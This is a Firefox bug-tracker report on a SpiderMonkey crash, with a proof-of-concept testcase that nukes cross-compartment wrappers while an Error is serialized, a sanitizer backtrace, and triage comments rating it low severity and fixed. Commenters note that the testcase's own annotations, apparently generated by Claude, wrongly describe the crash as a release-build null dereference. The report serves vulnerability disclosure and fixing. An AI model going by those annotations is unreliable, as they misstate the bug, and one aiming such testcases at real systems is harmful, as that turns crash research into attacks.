Hit MOZ_CRASH(Invalid object. Dead wrapper?) at js/src/vm/JSObject.h:682
Categories
(Core :: JavaScript Engine, defect, P1)
Tracking
()
People
(Reporter: decoder, Assigned: jandem)
References
Details
(7 keywords, Whiteboard: [bugmon:update,bisected,confirmed][adv-main149-])
Attachments
(2 files, 1 external file)
The following testcase crashes on mozilla-central revision 20260130-20b1a1e6c530 (fuzzing-opt build, run with --fuzzing-safe --no-threads):
// PoC: Nuke CCW during structured clone serialization of Error
// Target: traverseError in StructuredClone.cpp
// Line 2006: obj->maybeUnwrapAs<ErrorObject>() returns null after CCW is nuked
// Debug: MOZ_ASSERT(unwrapped) fires
// Release: null deref on unwrapped->stack() → SIGSEGV
// Step 1: Create a new global (like an iframe's global)
var g = newGlobal({newCompartment: true});
// Step 2: Create an error in g's realm with a poison message object
// The message object's toString will nuke all CCWs targeting g's realm
g.eval(`
var err = new Error("initial");
// Create a poison object whose toString nukes all CCWs to this realm
var poison = {
toString: function() {
// Nuke all cross-compartment wrappers pointing to objects in this realm
nukeAllCCWs();
return "pwned";
}
};
// Set the error's message to the poison object
// When structured clone calls ToString(message), it triggers the nuke
err.message = poison;
`);
// Step 3: Get a CCW to g's error in our compartment
var errCCW = g.err;
// Step 4: Serialize the error - this should trigger the vulnerability
// traverseError will:
// 1. GetProperty(obj, "name") - gets "Error"
// 2. GetOwnPropertyDescriptor(obj, "message") - gets {value: poison, ...}
// 3. ToString(messageVal) - calls poison.toString() which nukes ALL CCWs to g
// 4. obj->maybeUnwrapAs<ErrorObject>() - obj CCW is now dead! Returns null!
// 5. MOZ_ASSERT(unwrapped) fires in debug, null deref in release
try {
serialize(errCCW);
} catch(e) {
// Even if it throws, the crash should happen first
}
Backtrace:
==1745956==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5af44f1796c7 bp 0x7ffc90a25720 sp 0x7ffc90a25530 T1745956)
==1745956==The signal is caused by a WRITE memory access.
==1745956==Hint: address points to the zero page.
#0 0x5af44f1796c7 in MOZ_CrashSequence(void*, long) /builds/worker/workspace/obj-spider/dist/include/mozilla/Assertions.h:237:3
#1 0x5af44f1796c7 in js::ErrorObject* JSObject::maybeUnwrapAs<js::ErrorObject>() /js/src/vm/JSObject.h:682:3
#2 0x5af44f1796c7 in JSStructuredCloneWriter::traverseError(JS::Handle<JSObject*>) /js/src/vm/StructuredClone.cpp:2005:43
#3 0x5af44f174f4c in JSStructuredCloneWriter::startWrite(JS::Handle<JS::Value>) /js/src/vm/StructuredClone.cpp:2207:14
#4 0x5af44f16fce2 in JSStructuredCloneWriter::write(JS::Handle<JS::Value>) /js/src/vm/StructuredClone.cpp:2456:8
#5 0x5af44f16fc24 in WriteStructuredClone(JSContext*, JS::Handle<JS::Value>, JSStructuredCloneData*, JS::StructuredCloneScope, JS::CloneDataPolicy const&, JSStructuredCloneCallbacks const*, void*, JS::Value const&) /js/src/vm/StructuredClone.cpp:777:10
#6 0x5af44f1838fa in JS_WriteStructuredClone(JSContext*, JS::Handle<JS::Value>, JSStructuredCloneData*, JS::StructuredCloneScope, JS::CloneDataPolicy const&, JSStructuredCloneCallbacks const*, void*, JS::Handle<JS::Value>) /js/src/vm/StructuredClone.cpp:4155:10
#7 0x5af44f1838fa in JSAutoStructuredCloneBuffer::write(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::CloneDataPolicy const&, JSStructuredCloneCallbacks const*, void*) /js/src/vm/StructuredClone.cpp:4277:13
#8 0x5af44e685f7b in js::testingFunc_serialize(JSContext*, unsigned int, JS::Value*) /js/src/builtin/TestingFunctions.cpp:6288:18
#9 0x5af44f157b32 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /js/src/vm/Interpreter.cpp:490:13
#10 0x5af44f157b32 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /js/src/vm/Interpreter.cpp:586:12
#11 0x5af44f162bad in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /js/src/vm/Interpreter.cpp:653:10
#12 0x5af44f162bad in js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) /js/src/vm/Interpreter.cpp:658:10
#13 0x5af44f162bad in js::Interpret(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:3272:16
#14 0x5af44f157736 in MaybeEnterInterpreterTrampoline(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:384:10
#15 0x5af44f157736 in js::RunScript(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:460:13
#16 0x5af44f158c82 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:850:10
#17 0x5af44f158c82 in js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:880:10
#18 0x5af44f2b70cc in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>) /js/src/vm/CompilationAndEvaluation.cpp:572:10
#19 0x5af44e53ea3b in RunFile(JSContext*, char const*, _IO_FILE*, CompileUtf8, bool, bool) /js/src/shell/js.cpp:1387:10
#20 0x5af44e53e570 in Process(JSContext*, char const*, bool, FileKind) /js/src/shell/js.cpp
#21 0x5af44e50d3ec in ProcessArgs(JSContext*, js::cli::OptionParser*) /js/src/shell/js.cpp:12110:10
#22 0x5af44e50d3ec in Shell(JSContext*, js::cli::OptionParser*) /js/src/shell/js.cpp:12363:12
#23 0x5af44e503876 in main /js/src/shell/js.cpp:12769:12
#24 0x7f58dc62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#25 0x7f58dc62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#26 0x5af44e4cfef8 in _start (/home/decoder/Mozilla/Anthropic/.builds/release/js/dist/bin/js+0x1fe9ef8) (BuildId: e3130fc1030f7cc3946e6339e15c506bc60c7045)
==1745956==Register values:
rax = 0x0000000000000000 rbx = 0x00005af44fdb1f00 rcx = 0x00000000000002aa rdx = 0x00007f58dc804563
rdi = 0x00007f58dc805700 rsi = 0x0000000000000000 rbp = 0x00007ffc90a25720 rsp = 0x00007ffc90a25530
r8 = 0x0000000000000000 r9 = 0x0000000000000003 r10 = 0x0000000000000002 r11 = 0x0000000000000293
r12 = 0x00005af44fdc0440 r13 = 0x00007ffc90a258d0 r14 = 0x00005af477532630 r15 = 0x00000b3a05088040
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /builds/worker/workspace/obj-spider/dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
==1745956==ABORTING
This bug is part of a series of bugs reported by Anthropic, thank you for your contributions to Firefox!
| Reporter | ||
Comment 1•8 months ago
|
||
| Reporter | ||
Comment 2•8 months ago
|
||
| Assignee | ||
Comment 3•8 months ago
|
||
The test uses CCW nuking and we use that in the browser for cutting chrome => content CCWs. Needs more analysis to check if this is something content code might trigger in the browser.
Comment 4•8 months ago
|
||
Verified bug as reproducible on mozilla-central 20260130092147-20b1a1e6c530.
Unable to bisect testcase (Testcase reproduces on start build!):
Start: d0c1a4b1cb725aaff109054e060729eb71099baf (20251102212929)
End: 20b1a1e6c530f3506d5378bf5f4da504b6f03661 (20260130092147)
BuildFlags: BuildFlags(asan=True, tsan=False, debug=False, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)
Comment 5•8 months ago
|
||
Bug 2013573 also involves nukeAllCCWs. It might similarly be a case that can't occur in the browser.
Comment 7•8 months ago
|
||
It's a MOZ_CRASH() and doesn't appear to be in a pre-release "verifier" type function. Doesn't that make it safe in practice? Or is there worry that in a different path the dead wrapper might cause mischief?
Updated•8 months ago
|
Comment 8•8 months ago
|
||
There's an inconsistency in the reporter that I don't understand. The summary and crash stack say that we're crashing on the MOZ_CRASH in JSObject::maybeUnwrapAs(), but the text says that JSObject::maybeUnwrapAs() returns null and then later we try to dereference it. Maybe the former was generated by the fuzzing harness bug filer?
The crash doesn't seem very bad in the first place, and secondly I think for this to happen chrome JS would have to create a CCW to a content error object, then the content window would have to be closed, and then the chrome JS would have to structured clone the error, perhaps by sending it to another process.
I think we should just call this sec-other.
Comment 9•8 months ago
|
||
I believe the comments in the testcase were generated by Claude. The MOZ_CRASH message exists in only two places in the codebase, both of which are inside implementations of maybeUnwrapAs. It seems pretty clear to me that the summary / crash stack are correct, and Claude's attempts to annotate its own testcase were slightly off.
| Assignee | ||
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Comment 10•8 months ago
|
||
Updated•8 months ago
|
| Assignee | ||
Comment 11•8 months ago
|
||
Yes sec-other is right. This should always MOZ_CRASH in release builds.
Comment 12•8 months ago
|
||
Comment 13•8 months ago
|
||
Comment 14•8 months ago
|
||
Verified bug as fixed on rev mozilla-central 20260208200320-af326189e3d9.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.
Updated•7 months ago
|
Updated•1 month ago
|
Description
•